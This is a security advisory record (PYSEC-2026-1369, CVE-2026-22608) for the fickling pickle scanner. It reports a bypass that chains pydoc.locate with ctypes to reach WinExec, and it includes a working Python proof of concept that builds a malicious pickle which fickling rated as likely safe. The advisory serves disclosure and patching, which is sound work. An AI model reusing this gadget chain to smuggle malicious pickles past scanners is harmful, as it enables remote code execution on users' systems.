{"id":"PYSEC-2026-1369","summary":"Fickling vulnerable to use of ctypes and pydoc gadget chain to bypass detection","details":"# Fickling's assessment\n\n`pydoc` and `ctypes` were added to the list of unsafe imports (https://github.com/trailofbits/fickling/commit/b793563e60a5e039c5837b09d7f4f6b92e6040d1).\n\n# Original report\n\n### Summary\nBoth ctypes and pydoc modules arent explictly blocked. Even other existing pickle scanning tools (like picklescan) do not block pydoc.locate. Chaining these two together can achieve RCE while the scanner still reports the file as LIKELY_SAFE\n\n### Details\nImport: GLOBAL pydoc locate (Allowed).\nResolution: Call locate('ctypes.windll.kernel32.WinExec').\nExecution: Call the result with (b'calc.exe', 1).\n\nTo bypass the unused variable check an exception object is used, on the assumption that Exception would not be blocked in the future as it is a benign builtin\n\n### PoC\n```python\nimport os\n\nGLOBAL      = b'c'\nSTRING      = b'S'\nBININT      = b'K'\nTUPLE1      = b'\\x85'\nTUPLE2      = b'\\x86'\nEMPTY_TUPLE = b')'\nREDUCE      = b'R'\nPUT         = b'p'\nGET         = b'g'\nPOP         = b'0'\nEMPTY_DICT  = b'}'\nSETITEM     = b's'\nBUILD       = b'b'\nSTOP        = b'.'\n\ndef generate_stealth_payload():\n    payload = b\"\"\n\n    payload += GLOBAL + b\"pydoc\\nlocate\\n\"\n    payload += STRING + b\"'ctypes.windll.kernel32.WinExec'\\n\"\n    payload += TUPLE1 + REDUCE\n    payload += PUT + b\"0\\n\" # Var 0 = \u003c_FuncPtr WinExec\u003e\n    payload += POP\n\n    payload += GET + b\"0\\n\" \n    payload += b\"C\" + b\"\\x08\" + b\"calc.exe\" \n    payload += BININT + b\"\\x01\"             \n    payload += TUPLE2 + REDUCE\n    payload += PUT + b\"1\\n\" # Var 1 = Execution Result\n    payload += POP\n\n    payload += GLOBAL + b\"builtins\\nException\\n\"\n    payload += EMPTY_TUPLE + REDUCE\n    payload += PUT + b\"2\\n\" # Var 2 = Exception instance\n\n    payload += EMPTY_DICT\n    payload += STRING + b\"'rce_status'\\n\"\n    payload += GET + b\"1\\n\"\n    payload += SETITEM      # { 'rce_status': result }\n    \n    payload += BUILD \n    \n    payload += STOP\n    return payload\n\ndata = generate_stealth_payload()\nwith open(\"stealth_ctypes.pkl\", \"wb\") as f:\n    f.write(data)\n    \nprint(\"Generated 'stealth_ctypes.pkl'\")\n````\n\nWhat fickling sees\n```python\nfrom pydoc import locate\n_var0 = locate('ctypes.windll.kernel32.WinExec')\n_var1 = _var0(b'calc.exe', 1)\n_var2 = Exception()\n_var3 = _var2\n_var3.__setstate__({'rce_status': _var1})\nresult0 = _var3\n```\n\u003cimg width=\"915\" height=\"197\" alt=\"image\" src=\"https://github.com/user-attachments/assets/b5d81e0d-4946-4768-a704-618a4554ae7a\" /\u003e","aliases":["CVE-2026-22608","GHSA-5hvc-6wx8-mvv4"],"modified":"2026-07-07T17:47:13.951597576Z","published":"2026-07-07T16:03:17.716460Z","references":[{"type":"WEB","url":"https://github.com/trailofbits/fickling/security/advisories/GHSA-5hvc-6wx8-mvv4"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-22608"},{"type":"WEB","url":"https://github.com/trailofbits/fickling/pull/195"},{"type":"WEB","url":"https://github.com/trailofbits/fickling/commit/b793563e60a5e039c5837b09d7f4f6b92e6040d1"},{"type":"WEB","url":"https://github.com/trailofbits/fickling/commit/d0b00d584afb5c58e38991cd544cb3889de90db6"},{"type":"PACKAGE","url":"https://github.com/trailofbits/fickling"},{"type":"WEB","url":"https://github.com/trailofbits/fickling/blob/977b0769c13537cd96549c12bb537f05464cf09c/test/test_bypasses.py#L145"},{"type":"WEB","url":"https://github.com/trailofbits/fickling/releases/tag/v0.1.7"},{"type":"PACKAGE","url":"https://pypi.org/project/fickling"},{"type":"ADVISORY","url":"https://github.com/advisories/GHSA-5hvc-6wx8-mvv4"}],"affected":[{"package":{"name":"fickling","ecosystem":"PyPI","purl":"pkg:pypi/fickling"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0.1.7"}]}],"versions":["0.0.1","0.0.2","0.0.3","0.0.4","0.0.5","0.0.6","0.0.7","0.0.8","0.1.2","0.1.3","0.1.4","0.1.5","0.1.6"],"database_specific":{"source":"https://github.com/pypa/advisory-database/blob/main/vulns/fickling/PYSEC-2026-1369.yaml"}}],"schema_version":"1.7.5","severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:P"}]}